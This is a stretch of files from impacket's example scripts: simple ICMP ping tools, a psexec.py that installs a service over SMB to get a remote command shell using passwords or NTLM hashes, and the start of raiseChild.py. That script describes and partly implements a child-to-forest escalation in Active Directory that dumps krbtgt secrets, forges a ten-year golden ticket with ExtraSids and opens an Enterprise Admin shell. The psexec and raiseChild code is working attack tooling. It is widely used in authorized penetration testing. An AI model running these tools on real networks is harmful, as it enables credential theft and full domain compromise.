# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple ICMP ping.
#
# This implementation of ping uses the ICMP echo and echo-reply packets
# to check the status of a host. If the remote host is up, it should reply
# to the echo probe with an echo-reply packet.
# Note that this isn't a definite test, as in the case the remote host is up
# but refuses to reply the probes.
# Also note that the user must have special access to be able to open a raw
# socket, which this program requires.
#
# Authors:
# Gerardo Richarte
# Javier Kohen
#
# Reference for:
# ImpactPacket: IP, ICMP, DATA.
# ImpactDecoder.
import select
import socket
import time
import sys
from impacket import ImpactDecoder, ImpactPacket
if len(sys.argv) < 3:
print "Use: %s " % sys.argv[0]
sys.exit(1)
src = sys.argv[1]
dst = sys.argv[2]
# Create a new IP packet and set its source and destination addresses.
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO.
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHO)
# Include a 156-character long payload inside the ICMP packet.
icmp.contains(ImpactPacket.Data("A"*156))
# Have the IP packet contain the ICMP packet (along with its payload).
ip.contains(icmp)
# Open a raw socket. Special permissions are usually required.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
seq_id = 0
while 1:
# Give the ICMP packet the next ID in the sequence.
seq_id += 1
icmp.set_icmp_id(seq_id)
# Calculate its checksum.
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Send it to the target host.
s.sendto(ip.get_packet(), (dst, 0))
# Wait for incoming replies.
if s in select.select([s],[],[],1)[0]:
reply = s.recvfrom(2000)[0]
# Use ImpactDecoder to reconstruct the packet hierarchy.
rip = ImpactDecoder.IPDecoder().decode(reply)
# Extract the ICMP packet from its container (the IP packet).
ricmp = rip.child()
# If the packet matches, report it to the user.
if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type():
print "Ping reply for sequence #%d" % ricmp.get_icmp_id()
time.sleep(1)
impacket-0.9.15/examples/ping6.py 0000700 0000765 0000000 00000004536 12734531507 016675 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple ICMP6 ping.
#
# This implementation of ping uses the ICMP echo and echo-reply packets
# to check the status of a host. If the remote host is up, it should reply
# to the echo probe with an echo-reply packet.
# Note that this isn't a definite test, as in the case the remote host is up
# but refuses to reply the probes.
# Also note that the user must have special access to be able to open a raw
# socket, which this program requires.
#
# Authors:
# Alberto Solino (@agsolino)
#
# Reference for:
# ImpactPacket: ICMP6
# ImpactDecoder.
import select
import socket
import time
import sys
from impacket import ImpactDecoder, ImpactPacket, IP6, ICMP6, version
print version.BANNER
if len(sys.argv) < 3:
print "Use: %s " % sys.argv[0]
sys.exit(1)
src = sys.argv[1]
dst = sys.argv[2]
# Create a new IP packet and set its source and destination addresses.
ip = IP6.IP6()
ip.set_source_address(src)
ip.set_destination_address(dst)
ip.set_traffic_class(0)
ip.set_flow_label(0)
ip.set_hop_limit(64)
# Open a raw socket. Special permissions are usually required.
s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
payload = "A"*156
print "PING %s %d data bytes" % (dst, len(payload))
seq_id = 0
while 1:
# Give the ICMP packet the next ID in the sequence.
seq_id += 1
icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload)
# Have the IP packet contain the ICMP packet (along with its payload).
ip.contains(icmp)
ip.set_next_header(ip.child().get_ip_protocol_number())
ip.set_payload_length(ip.child().get_size())
icmp.calculate_checksum()
# Send it to the target host.
s.sendto(icmp.get_packet(), (dst, 0))
# Wait for incoming replies.
if s in select.select([s],[],[],1)[0]:
reply = s.recvfrom(2000)[0]
# Use ImpactDecoder to reconstruct the packet hierarchy.
rip = ImpactDecoder.ICMP6Decoder().decode(reply)
# If the packet matches, report it to the user.
if ICMP6.ICMP6.ECHO_REPLY == rip.get_type():
print "%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number())
time.sleep(1)
impacket-0.9.15/examples/psexec.py 0000700 0000765 0000000 00000043544 12734531507 017143 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom)
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCE/RPC and SMB.
import sys
import os
import cmd
import logging
from threading import Thread, Lock
import argparse
import random
import string
import time
from impacket.examples import logger
from impacket import version, smb
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.examples import remcomsvc, serviceinstall
class RemComMessage(Structure):
structure = (
('Command','4096s=""'),
('WorkingDir','260s=""'),
('Priority',' 0:
try:
s.waitNamedPipe(tid,pipe)
pipeReady = True
except:
tries -= 1
time.sleep(2)
pass
if tries == 0:
logging.critical('Pipe not ready, aborting')
raise
fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
return fid
def doStuff(self, rpctransport):
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except Exception, e:
logging.critical(str(e))
sys.exit(1)
global dialect
dialect = rpctransport.get_smb_connection().getDialect()
try:
unInstalled = False
s = rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if self.__exeFile is None:
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
else:
try:
f = open(self.__exeFile)
except Exception, e:
logging.critical(str(e))
sys.exit(1)
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
installService.install()
if self.__exeFile is not None:
f.close()
# Check if we need to copy a file for execution
if self.__copyFile is not None:
installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
# And we change the command to be executed to this filename
self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
tid = s.connectTree('IPC$')
fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f)
packet = RemComMessage()
pid = os.getpid()
packet['Machine'] = ''.join([random.choice(string.letters) for _ in range(4)])
if self.__path is not None:
packet['WorkingDir'] = self.__path
packet['Command'] = self.__command
packet['ProcessID'] = pid
s.writeNamedPipe(tid, fid_main, str(packet))
# Here we'll store the command we type so we don't print it back ;)
# ( I know.. globals are nasty :P )
global LastDataSent
LastDataSent = ''
# Create the pipes threads
stdin_pipe = RemoteStdInPipe(rpctransport,
'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())
stdin_pipe.start()
stdout_pipe = RemoteStdOutPipe(rpctransport,
'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stdout_pipe.start()
stderr_pipe = RemoteStdErrPipe(rpctransport,
'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stderr_pipe.start()
# And we stay here till the end
ans = s.readNamedPipe(tid,fid_main,8)
if len(ans):
retCode = RemComResponse(ans)
logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
installService.uninstall()
if self.__copyFile is not None:
# We copied a file for execution, let's remove it
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
unInstalled = True
sys.exit(retCode['ErrorCode'])
except SystemExit:
raise
except:
if unInstalled is False:
installService.uninstall()
if self.__copyFile is not None:
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
sys.stdout.flush()
sys.exit(1)
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
#self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
else:
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
self.server.setTimeout(1000000)
except:
logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class RemoteStdOutPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
global LastDataSent
if ans != LastDataSent:
sys.stdout.write(ans.decode('cp437'))
sys.stdout.flush()
else:
# Don't echo what I sent, and clear it up
LastDataSent = ''
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
if LastDataSent > 10:
LastDataSent = ''
except:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
except:
pass
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, share, transport):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.transport = transport
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
#self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
else:
self.transferClient.login(user, passwd, domain, lm, nt)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share)
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception, e:
logging.critical(str(e))
pass
self.send_data('\r\n')
def do_put(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
pathname = string.replace(f,'/','\\')
logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
return
def default(self, line):
self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
def send_data(self, data, hideOutput = True):
if hideOutput is True:
global LastDataSent
LastDataSent = data
else:
LastDataSent = ''
self.server.writeFile(self.tid, self.fid, data)
class RemoteStdInPipe(Pipes):
def __init__(self, transport, pipe, permisssions, share=None):
self.shell = None
Pipes.__init__(self, transport, pipe, permisssions, share)
def run(self):
self.connectPipe()
self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)
self.shell.cmdloop()
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)')
parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, arguments are passed in the command option')
parser.add_argument('-path', action='store', help='path of the command to execute')
parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)")
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
command = ' '.join(options.command)
if command == ' ':
command = 'cmd.exe'
executer = PSEXEC(command, options.path, options.file, options.c, None, username, password, domain, options.hashes,
options.aesKey, options.k, options.dc_ip)
executer.run(address)
impacket-0.9.15/examples/raiseChild.py 0000700 0000765 0000000 00000176254 12734531507 017730 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# This script implements a child-domain to forest privilege escalation
# as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will
# be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented
# by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz).
# The idea of automating all these tasks came from @mubix.
#
# The workflow is as follows:
# Input:
# 1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'
# The domain specified MUST be the domain FQDN.
# 2) Optionally a pathname to save the generated golden ticket (-w switch)
# 3) Optionally a target to PSEXEC with Enterprise Admin privieleges to (-target-exec switch)
#
# Process:
# 1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
# 2) Find out what the forest FQDN is (via [MS-NRPC])
# 3) Get the forest's Enterprise Admin SID (via [MS-LSAT])
# 4) Get the child domain's krbtgt credentials (via [MS-DRSR])
# 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
# and setting expiration 10 years from now
# 6) Use the generated ticket to log into the forest and get the krbtgt/admin info
# 7) If file was specified, save the golden ticket in ccache format
# 8) If target was specified, a PSEXEC shell is launched
#
# Output:
# 1) Forest's krbtgt/admin credentials
# 2) A golden ticket saved in ccache for future fun and profit
# 3) PSExec Shell with Enterprise Admin privileges at target-exec parameter.
#
# IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the
# forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar
#
# E.G:
# Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx):
# A forest is the only component of the Active Directory logical structure that is a security boundary.
# By contrast, a domain is not a security boundary because it is not possible for administrators from one domain
# to prevent a malicious administrator from another domain within the forest from accessing data in their domain.
# A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers.
# In addition, each domain has its own individual security policies and trust relationships with other domains.
#
#
import random
import string
import logging
import datetime
from binascii import unhexlify, hexlify
from socket import gethostbyname
from struct import unpack
import argparse
import sys
try:
import pyasn1
except ImportError:
logging.critical('This module needs pyasn1 installed')
logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
sys.exit(1)
from impacket import version
from impacket.krb5.types import Principal, KerberosTime
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError
from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart
from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED
from pyasn1.codec.der import decoder, encoder
from impacket.examples import logger
from impacket.ntlm import LMOWFv1, NTOWFv1
from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER
from impacket.dcerpc.v5.dtypes import ULONG, RPC_SID, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
from impacket.dcerpc.v5 import transport, drsuapi, epm, samr
from impacket.structure import Structure
from impacket.smbconnection import SessionError
from impacket.nt_errors import STATUS_NO_LOGON_SERVERS
################################################################################
# CONSTANTS
################################################################################
# From http://msdn.microsoft.com/en-us/library/aa302203.aspx#msdn_pac_credentials
# and http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862
PAC_LOGON_INFO = 1
PAC_CREDENTIALS_INFO = 2
PAC_SERVER_CHECKSUM = 6
PAC_PRIVSVR_CHECKSUM = 7
PAC_CLIENT_INFO_TYPE = 10
PAC_DELEGATION_INFO = 11
PAC_UPN_DNS_INFO = 12
################################################################################
# STRUCTURES
################################################################################
PISID = PRPC_SID
# 2.2.1 KERB_SID_AND_ATTRIBUTES
class KERB_SID_AND_ATTRIBUTES(NDRSTRUCT):
structure = (
('Sid', PISID),
('Attributes', ULONG),
)
class KERB_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):
item = KERB_SID_AND_ATTRIBUTES
class PKERB_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER):
referent = (
('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
)
# 2.2.2 GROUP_MEMBERSHIP
from impacket.dcerpc.v5.nrpc import PGROUP_MEMBERSHIP_ARRAY
# 2.2.3 DOMAIN_GROUP_MEMBERSHIP
class DOMAIN_GROUP_MEMBERSHIP(NDRSTRUCT):
structure = (
('DomainId', PISID),
('GroupCount', ULONG),
('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
)
class DOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):
item = DOMAIN_GROUP_MEMBERSHIP
class PDOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRPOINTER):
referent = (
('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
)
# 2.3 PACTYPE
class PACTYPE(Structure):
structure = (
('cBuffers', ' 0:
try:
s.waitNamedPipe(tid,pipe)
pipeReady = True
except:
tries -= 1
time.sleep(2)
pass
if tries == 0:
logging.critical('Pipe not ready, aborting')
raise
fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
return fid
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, TGS=None, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.TGS = TGS
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
self.server.setTimeout(1000000)
except Exception, e:
logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class RemoteStdOutPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
global LastDataSent
if ans != LastDataSent:
sys.stdout.write(ans)
sys.stdout.flush()
else:
# Don't echo what I sent, and clear it up
LastDataSent = ''
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
if LastDataSent > 10:
LastDataSent = ''
except:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
except:
pass
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, TGS, share):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.TGS = TGS
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share)
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_put(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
pathname = string.replace(f,'/','\\')
logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
self.transferClient.putFile(self.share, pathname, fh.read)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
try:
os.chdir(s)
except Exception, e:
logging.error(str(e))
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
return
def default(self, line):
self.send_data(line+'\r\n')
def send_data(self, data, hideOutput = True):
if hideOutput is True:
global LastDataSent
LastDataSent = data
else:
LastDataSent = ''
self.server.writeFile(self.tid, self.fid, data)
class RemoteStdInPipe(Pipes):
def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
def run(self):
self.connectPipe()
shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
shell.cmdloop()
class RAISECHILD:
def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''):
self.__rid = 0
self.__target = target
self.__kdcHost = None
self.__command = command
self.__writeTGT = options.w
self.__domainSid = ''
self.__doKerberos = options.k
self.__drsr = None
self.__ppartialAttrSet = None
self.__creds = {}
self.__creds['username'] = username
self.__creds['password'] = password
self.__creds['domain'] = domain
self.__creds['lmhash'] = ''
self.__creds['nthash'] = ''
self.__creds['aesKey'] = options.aesKey
self.__creds['TGT'] = None
self.__creds['TGS'] = None
#if options.dc_ip is not None:
# self.__kdcHost = options.dc_ip
#else:
# self.__kdcHost = domain
self.__kdcHost = None
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
self.__creds['lmhash'] = unhexlify(lmhash)
self.__creds['nthash'] = unhexlify(nthash)
# Transform IP addresses into FQDNs
if self.__target is not None:
self.__target = self.getDNSMachineName(self.__target)
logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target))
NAME_TO_ATTRTYP = {
'objectSid': 0x90092,
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'supplementalCredentials': 0x9007D,
}
ATTRTYP_TO_ATTID = {
'objectSid': '1.2.840.113556.1.4.146',
'userPrincipalName': '1.2.840.113556.1.4.656',
'sAMAccountName': '1.2.840.113556.1.4.221',
'unicodePwd': '1.2.840.113556.1.4.90',
'dBCSPwd': '1.2.840.113556.1.4.55',
'supplementalCredentials': '1.2.840.113556.1.4.125',
}
KERBEROS_TYPE = {
1:'dec-cbc-crc',
3:'des-cbc-md5',
17:'aes128-cts-hmac-sha1-96',
18:'aes256-cts-hmac-sha1-96',
0xffffff74:'rc4_hmac',
}
HMAC_SHA1_96_AES256 = 0x10
def getChildInfo(self, creds):
logging.debug('Calling NRPC DsrGetDcNameEx()')
target = creds['domain']
if self.__doKerberos is True:
# In Kerberos we need the target's name
machineNameOrIp = self.getDNSMachineName(gethostbyname(target))
logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp))
else:
machineNameOrIp = target
stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
creds['nthash'], creds['aesKey'])
if self.__doKerberos or creds['aesKey'] is not None:
rpctransport.set_kerberos(True)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_NRPC)
resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
#resp.dump()
return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1]
@staticmethod
def getMachineName(machineIP):
s = SMBConnection(machineIP, machineIP)
try:
s.login('','')
except Exception, e:
logging.debug('Error while anonymous logging into %s' % machineIP)
s.logoff()
return s.getServerName()
@staticmethod
def getDNSMachineName(machineIP):
s = SMBConnection(machineIP, machineIP)
try:
s.login('','')
except Exception, e:
logging.debug('Error while anonymous logging into %s' % machineIP)
s.logoff()
return s.getServerName() + '.' + s.getServerDNSDomainName()
def getParentSidAndAdminName(self, parentDC, creds):
if self.__doKerberos is True:
# In Kerberos we need the target's name
machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC))
logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp))
else:
machineNameOrIp = gethostbyname(parentDC)
logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
creds['nthash'], creds['aesKey'])
rpctransport.set_kerberos(self.__doKerberos)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_LSAT)
